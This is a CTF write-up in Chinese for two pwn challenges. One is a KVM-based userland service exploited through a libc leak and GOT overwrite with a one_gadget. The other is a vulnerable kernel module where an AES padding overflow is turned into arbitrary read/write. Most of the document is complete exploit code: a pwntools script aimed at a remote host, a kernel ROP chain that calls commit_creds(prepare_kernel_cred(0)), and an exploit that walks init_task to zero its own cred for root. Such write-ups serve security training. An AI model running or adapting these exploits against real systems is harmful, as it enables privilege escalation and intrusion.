mykvm
实现了一个最基础功能kvm虚拟机
没有配置页表,因此vcpu运行在real mode下
设置code_size为0x1000,可以将栈上大量存留指针memcpy进虚拟机内存中,来实现泄漏libc
内存空间从0x603000开始,而注意到在0x60A000处存在一个dest指针指向堆
该指针在虚拟机hlt后会接受一个memcpy,因此考虑将该指针覆盖为got表
由于readline()函数会将\x7f作为Delete信号识别,因此采用低位覆盖为one_gadget
readline()函数会将相当一部分不可见字符转义,因此需要爆破
(启动docker时需要添加-privilage参数,来允许在docker使用kvm)
from pwn import*
context(os="linux",arch="amd64",log_level='debug')
libc=ELF("./libc-2.23.so")
while (True):
flag=0
r=remote("20.247.110.192",10888)
#r=remote("127.0.0.1",6666)
#r=process('./main')
code=asm("""
.code16
mov bx,0x8
mov ax,0x3F
mov ds,ax
mov ax,0x710
mov ss,ax
lable:
mov al,byte ptr ds:[bx]
out 0,al
add bx,1
cmp bx,0x200
jna lable
xor bx,bx
mov al,0x0B
mov ss:[bx+0x0],al
mov al,0x20
mov ss:[bx+0x1],al
mov al,0x60
mov ss:[bx+0x2],al
mov al,0
mov ss:[bx+0x3],al
hlt
""")
r.recvuntil(": \n")
r.sendline(str(0x1000))
r.recvuntil(": \n")
r.send(code)
r.recvuntil(": ")
r.sendline("a"*0x8)
r.recvuntil(": ")
r.sendline("b"*0x8)
r.recvuntil("b"*0x8+"\n")
sleep(0.1)
libc_base=u64(r.recv(8))-0x8309d8
success("libc_base: "+hex(libc_base))
one_gadget=libc_base+0xf1247
#gdb.attach(r,"b *0x400E49")
test=one_gadget
for i in range (3):
char=test%0x100
if (char>0x7e or char<0x20 ):
flag=1
break
test=test//0x100
if (flag==1):
r.close()
continue;
else:
pause()
r.recvuntil("host name: ")
r.sendline("a"*0x1D+p32(one_gadget%0x1000000)[:-1])
r.interactive()
kkk
在content长度不为0x10的整数倍时,aes256加密会将剩余字节补满0x10进行加密,因此存在加密溢出
通过溢出修改下一个块的key_size部分,则可以实现溢出读写
再次溢出修改再下一个块的key_size和key指针即可实现任意地址读写
exp1为修改结构体中encrypto_func指针为work_for_cpu_fn控制rbx和rip,此时rbx指针结构体本身
使用magic_gadget将rbx赋值给rsp来达到栈迁移
exp2为通过init_task结构体遍历全部的task_struct
修改当前进程的cred来提权
ROP exp:
#include <stdio.h>
#include <fcntl.h>
#include <poll.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <signal.h>
#include <unistd.h>
#include <syscall.h>
#include <pthread.h>
#include <sys/shm.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
struct request
{
union
{
uint64_t idx;
uint64_t type;
};
uint64_t key_size;
char *key;
uint64_t content_size;
char *content;
};
int dev_fd;
char *recv_key;
uint64_t user_cs,user_ss,user_eflag,rsp;
void save_state()
{
asm(
"movq %%cs, %0;"
"movq %%ss, %1;"
"movq %%rsp, %3;"
"pushfq;"
"pop %2;"
: "=r"(user_cs),"=r"(user_ss),"=r"(user_eflag),"=r"(rsp)
:
: "memory"
);
}
void err(char *error)
{
puts(error);
exit(-1);
}
void new(uint64_t type, uint64_t key_size, char *key, uint64_t content_size, char *content)
{
struct request request_t;
int ret;
memset(&request_t, 0, sizeof(struct request));
request_t.type = type;
request_t.key_size = key_size;
request_t.key = key;
request_t.content_size = content_size;
request_t.content = content;
ret = ioctl(dev_fd, 0x6B64, &request_t);
if (ret) err("Error While New");
}
void edit(uint64_t idx, char *key, char *content)
{
struct request request_t;
int ret;
memset(&request_t, 0, sizeof(struct request));
request_t.idx = idx;
request_t.key = key;
request_t.content = content;
ret = ioctl(dev_fd, 0x6B67, &request_t);
if (ret) err("Error While Edit");
}
void show(uint64_t idx, char *key, char *content)
{
struct request request_t;
int ret;
memset(&request_t, 0, sizeof(struct request));
request_t.idx = idx;
request_t.key = key;
request_t.content = content;
ret = ioctl(dev_fd, 0x6B69, &request_t);
if (ret) err("Error While Show");
}
void encrypto(uint64_t idx)
{
struct request request_t;
int ret;
memset(&request_t, 0, sizeof(struct request));
request_t.idx = idx;
ret = ioctl(dev_fd, 0x6B6B, &request_t);
if (ret) err("Error While Encrypto");
}
void delete(uint64_t idx)
{
struct request request_t;
int ret;
memset(&request_t, 0, sizeof(struct request));
request_t.idx = idx;
ret = ioctl(dev_fd, 0x6B6D, &request_t);
if (ret) err("Error While Delete");
}
void arbitrary_write(uint64_t addr, uint64_t content)
{
uint64_t *eval = malloc(0x8);
char *zero_page = malloc(0x400);
((uint64_t *)recv_key)[0x7a] = 0x8;
((uint64_t *)recv_key)[0x7b] = addr;
edit(1, recv_key, zero_page);
eval[0] = content;
edit(2, (char *)eval, zero_page);
show(1, recv_key, zero_page);
free(eval);
free(zero_page);
}
uint64_t arbitrary_read(uint64_t addr)
{
char *zero_page = malloc(0x400);
((uint64_t *)recv_key)[0x7a] = 0x8;
((uint64_t *)recv_key)[0x7b] = addr;
edit(1, recv_key, zero_page);
uint64_t eval;
show(2, (char *)&eval, zero_page);
show(1, recv_key, zero_page);
free(zero_page);
return eval;
}
void get_shell()
{
char buf[0x50];
memset(buf, 0, 0x20);
int fd = open("/flag", O_RDONLY);
read(fd, buf, 0x20);
puts(buf);
_exit(0);
}
int main()
{
save_state();
dev_fd = open("/dev/kkk", O_RDWR);
if (dev_fd <= 0) perror("Error While Open");
char *key = malloc(0x1000); char *content = malloc(0x1000);
char *recv_content = malloc(0x1000);
recv_key = mmap((void *)0xA000000, 0x3000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
recv_key[0]='a';
memset(key, 0, 0x1000);
memset(content, 0, 0x1000);
((uint64_t *)content)[0] = 0x8b3207c19fd5207;
((uint64_t *)(content+0x3a0))[0] = 0x8b3207c19fd5207;
((uint64_t *)content)[0x1] = 0x28;
((uint64_t *)key)[0] = 0x17d9e6b8154f6c42;
((uint64_t *)key)[1] = 0x7e4dcabfe6696471;
((uint64_t *)key)[2] = 0x69dc751b40f32c5a;
((uint64_t *)key)[3] = 0x82e6efe9e0db73b0;
new(3, 0x28, key, 0x3a8, content);
new(3, 0x28, key, 0x3a8, content);
new(3, 0x28, key, 0x3a8, content);
new(3, 0x28, key, 0x3a8, content);
encrypto(0);
show(1, recv_key, recv_content);
uint64_t heap_addr = ((uint64_t *)recv_key)[0x7b] - 0x30;
uint64_t modprobe_base = ((uint64_t *)recv_key)[0x7f] - 0x130;
printf("[+] heap_addr: 0x%lx\n", heap_addr);
printf("[+] modprobe_base: 0x%lx\n", modprobe_base);
((uint64_t *)recv_key)[0x7b] = modprobe_base + 0x1188;
edit(1, recv_key, content);
show(2, recv_key, recv_content);
uint64_t kernel_base = ((uint64_t *)recv_key)[0] - 0x2258e0;
uint64_t modprobe_path = kernel_base + 0x1850fa0;
uint64_t work_for_cpu_fn = kernel_base + 0x8de20;
uint64_t commit_creds = kernel_base + 0x9bcf0;
uint64_t prepare_kernel_cred = kernel_base + 0x9bf90;
uint64_t poweroff_cmd = kernel_base + 0x18507e0;
uint64_t poweroff_work_func = kernel_base + 0x9ce40;
uint64_t set_rsp = kernel_base + 0x524e89;
uint64_t init_task = kernel_base + 0x1814940;
uint64_t pop_rdi = kernel_base + 0x1614;
uint64_t pop4 = kernel_base + 0x18adb;
uint64_t kpti_trampoline = kernel_base+ 0xe00e10;
uint64_t swapgs = kernel_base + 0xc67240;
uint64_t iretq = kernel_base + 0x2ae1b;
printf("[+] kernel_base: 0x%lx\n", kernel_base);
printf("[+] modprobe_path: 0x%lx\n", modprobe_path);
printf("[+] work_for_cpu_fn: 0x%lx\n", work_for_cpu_fn);
printf("[+] commit_creds: 0x%lx\n", commit_creds);
printf("[+] prepare_kernel_cred: 0x%lx\n", prepare_kernel_cred);
printf("[+] poweroff_cmd: 0x%lx\n", poweroff_cmd);
printf("[+] kpti_trampoline: 0x%lx\n", kpti_trampoline + 22);
printf("[+] poweroff_work_func: 0x%lx\n", poweroff_work_func);
printf("[+] init_task: 0x%lx\n", init_task);
arbitrary_write(heap_addr - 0x400, 0x800);
arbitrary_write(heap_addr + 0x420, set_rsp);
arbitrary_write(heap_addr + 0x428, work_for_cpu_fn);
uint64_t *eval = malloc(0x100);
char *zero_page = malloc(0x400);
((uint64_t *)recv_key)[0x7a] = 0x100;
((uint64_t *)recv_key)[0x7b] = heap_addr + 0x408;
edit(1, recv_key, zero_page);
memset(eval, 0x61, 0x100);
eval[0] = pop4;
eval[3] = set_rsp;
eval[4] = work_for_cpu_fn;
eval[5] = pop_rdi;
eval[6] = 0;
eval[7] = prepare_kernel_cred;
eval[8] = commit_creds;
eval[9] = kpti_trampoline + 22;
eval[10] = 0;
eval[11] = 0;
eval[12] = (uint64_t)get_shell;
eval[13] = user_cs;
eval[14] = user_eflag;
eval[15] = rsp;
eval[16] = user_ss;
edit(2, (char *)eval, zero_page);
show(1, recv_key, zero_page);
free(eval);
free(zero_page);
encrypto(3);
}
init_task exp:
#include <stdio.h>
#include <fcntl.h>
#include <poll.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <signal.h>
#include <unistd.h>
#include <syscall.h>
#include <pthread.h>
#include <sys/shm.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <arpa/inet.h>
struct request
{
union
{
uint64_t idx;
uint64_t type;
};
uint64_t key_size;
char *key;
uint64_t content_size;
char *content;
};
int dev_fd;
char *recv_key, *zero_page;
uint64_t user_cs,user_ss,user_eflag,rsp;
void err(char *error)
{
puts(error);
exit(-1);
}
void new(uint64_t type, uint64_t key_size, char *key, uint64_t content_size, char *content)
{
struct request request_t;
int ret;
memset(&request_t, 0, sizeof(struct request));
request_t.type = type;
request_t.key_size = key_size;
request_t.key = key;
request_t.content_size = content_size;
request_t.content = content;
ret = ioctl(dev_fd, 0x6B64, &request_t);
if (ret) err("[X] Error While New");
}
void edit(uint64_t idx, char *key, char *content)
{
struct request request_t;
int ret;
memset(&request_t, 0, sizeof(struct request));
request_t.idx = idx;
request_t.key = key;
request_t.content = content;
ret = ioctl(dev_fd, 0x6B67, &request_t);
if (ret) err("[X] Error While Edit");
}
void show(uint64_t idx, char *key, char *content)
{
struct request request_t;
int ret;
memset(&request_t, 0, sizeof(struct request));
request_t.idx = idx;
request_t.key = key;
request_t.content = content;
ret = ioctl(dev_fd, 0x6B69, &request_t);
if (ret) err("[X] Error While Show");
}
void encrypto(uint64_t idx)
{
struct request request_t;
int ret;
memset(&request_t, 0, sizeof(struct request));
request_t.idx = idx;
ret = ioctl(dev_fd, 0x6B6B, &request_t);
if (ret) err("[X] Error While Encrypto");
}
void delete(uint64_t idx)
{
struct request request_t;
int ret;
memset(&request_t, 0, sizeof(struct request));
request_t.idx = idx;
ret = ioctl(dev_fd, 0x6B6D, &request_t);
if (ret) err("[X] Error While Delete");
}
void arbitrary_write(uint64_t addr, void *content, uint64_t len)
{
((uint64_t *)recv_key)[0x7a] = len;
((uint64_t *)recv_key)[0x7b] = addr;
edit(1, recv_key, zero_page);
edit(2, content, zero_page);
show(1, recv_key, zero_page);
memset(zero_page, 0, 0x1000);
}
void arbitrary_read(uint64_t addr, void *recv, uint64_t len)
{
((uint64_t *)recv_key)[0x7a] = len;
((uint64_t *)recv_key)[0x7b] = addr;
edit(1, recv_key, zero_page);
show(2, recv, zero_page);
show(1, recv_key, zero_page);
memset(zero_page, 0, 0x1000);
}
int main()
{
prctl(PR_SET_NAME, "aaaaaaaa", NULL, NULL, NULL);
dev_fd = open("/dev/kkk", O_RDWR);
if (dev_fd <= 0)
err("[X] Error While Open");
char *key = malloc(0x1000); char *content = malloc(0x1000);
char *recv_content = malloc(0x1000);
recv_key = mmap((void *)0xA0000, 0x3000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
zero_page = mmap((void *)0xB0000, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
memset(zero_page, 0, 0x1000);
memset(recv_key, 0, 0x1000);
memset(key, 0, 0x1000);
memset(content, 0, 0x1000);
((uint64_t *)content)[0] = 0x8b3207c19fd5207;
((uint64_t *)(content+0x3a0))[0] = 0x8b3207c19fd5207;
((uint64_t *)content)[0x1] = 0x28;
((uint64_t *)key)[0] = 0x17d9e6b8154f6c42;
((uint64_t *)key)[1] = 0x7e4dcabfe6696471;
((uint64_t *)key)[2] = 0x69dc751b40f32c5a;
((uint64_t *)key)[3] = 0x82e6efe9e0db73b0;
new(3, 0x28, key, 0x3a8, content);
new(3, 0x28, key, 0x3a8, content);
new(3, 0x28, key, 0x3a8, content);
new(3, 0x28, key, 0x3a8, content);
encrypto(0);
show(1, recv_key, zero_page);
memset(zero_page, 0, 0x1000);
uint64_t heap_addr = ((uint64_t *)recv_key)[0x7b] - 0x30;
uint64_t modprobe_base = ((uint64_t *)recv_key)[0x7f] - 0x130;
printf("[+] heap_addr: 0x%lx\n", heap_addr);
printf("[+] modprobe_base: 0x%lx\n", modprobe_base);
((uint64_t *)recv_key)[0x7b] = modprobe_base + 0x1188;
edit(1, recv_key, content);
show(2, recv_key, zero_page);
memset(zero_page, 0, 0x1000);
uint64_t kernel_base = ((uint64_t *)recv_key)[0] - 0x2258e0;
uint64_t init_task = kernel_base + 0x1814940;
printf("[+] kernel_base: 0x%lx\n", kernel_base);
printf("[+] init_task: 0x%lx\n", init_task);
uint64_t *eval = malloc(0x30);
eval[0] = 0x800;
arbitrary_write(heap_addr - 0x400, eval, 0x8);
uint64_t *eval_read = malloc(0x300);
arbitrary_read(init_task + 0x458, eval_read, 0x8);
char comm[0x10];
uint64_t next = eval_read[0];
uint64_t cred = 0;
for ( ; next != init_task; )
{
memset(comm, 0, sizeof(comm));
arbitrary_read(next, eval_read, 0x2F0);
next = eval_read[0];
memcpy(comm, eval_read+0x5C, 0x10);
if (!strcmp(comm, "aaaaaaaa"))
{
cred = eval_read[0x5A];
printf("[+] Cred Struct in: 0x%lx\n", cred);
break;
}
}
if (cred)
{
memset(eval, 0, 0x20);
arbitrary_write(cred , eval, 0x20);
system("/bin/sh");
}
}
附件下载